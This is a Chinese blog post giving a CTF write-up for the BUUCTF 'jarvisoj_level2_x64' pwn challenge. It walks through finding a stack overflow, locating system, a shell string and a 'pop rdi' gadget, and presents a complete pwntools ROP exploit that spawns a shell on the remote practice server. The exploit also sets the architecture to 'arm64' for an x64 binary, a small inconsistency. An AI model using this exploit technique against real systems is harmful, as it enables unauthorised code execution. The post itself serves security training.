BUUCTF-PWN-jarvisoj_level2_x64

jarvisoj_level2_x64

定期刷pwn*2

1.检查

image-20230312090857352

仅仅只是个NX罢了

2.找漏洞

找到入口

0x200,很厚道啊

image-20230312091000138

找到shell和system函数

image-20230312091138907

image-20230312091241972

找到garget来给rdi传参

image-20230312091334554

路线仍然是栈溢出

3.配置问题

​ 这里稍微有了点麻烦。我没有Ubuntu16环境的动态链接库,所以要继续动态调试的话就得去临时配一个。

image-20230312091555471

但题目本身还是很清楚的,也没有开PIE,所以我干脆直接用ida分析好了

4.收集信息

image-20230312092851294

长度 = 0x200
距离rbp = 0x80
system_addr = 0x4004C0
pop_rid_ret = 0x4006b3
shell_addr = 0x600A90

5.exp

from pwn import *
from LibcSearcher import *
import binascii
pwnfile = "./level2_x64"
elf = ELF(pwnfile)
context(log_level=logging.DEBUG,arch='arm64',os='linux')
io=remote("node4.buuoj.cn",25469)
#io = process(pwnfile)

system_addr = 0x4004C0
pop_rid_ret = 0x4006b3
shell_addr = 0x600A90
dem1 = "Input:\n"
nops_1 = 0x80 + 8
payload1 = flat([b'a'*nops_1,pop_rid_ret,shell_addr,system_addr])
io.sendafter(dem1,payload1)
io.interactive()

​ 其实在本地调试的时候也遇到了不少麻烦……虽然思路很明确,但gdb别说附加进程,就连正常运行的无法做到。所幸是个简单的题目,基本上不用调试就知道结果了,否则就只能抓瞎。

image-20230312094958772

6.打

远程还是正常的。

image-20230312094600208

7.总结

​ 题目本身很简单,主要问题应该出在动态链接库版本不对应上,使得gdb直接报废,无法动态调试。

​ 看了一下其他师傅们的wp,都没有出现这个问题。虽然最直接的办法就是换成题目环境的Ubuntu16,ida在配置后也可以进行动调,但以防万一,我需要研究一下更便捷的方式。

posted @ 2023-03-12 10:08  古明地核  阅读(315)  评论(0编辑  收藏  举报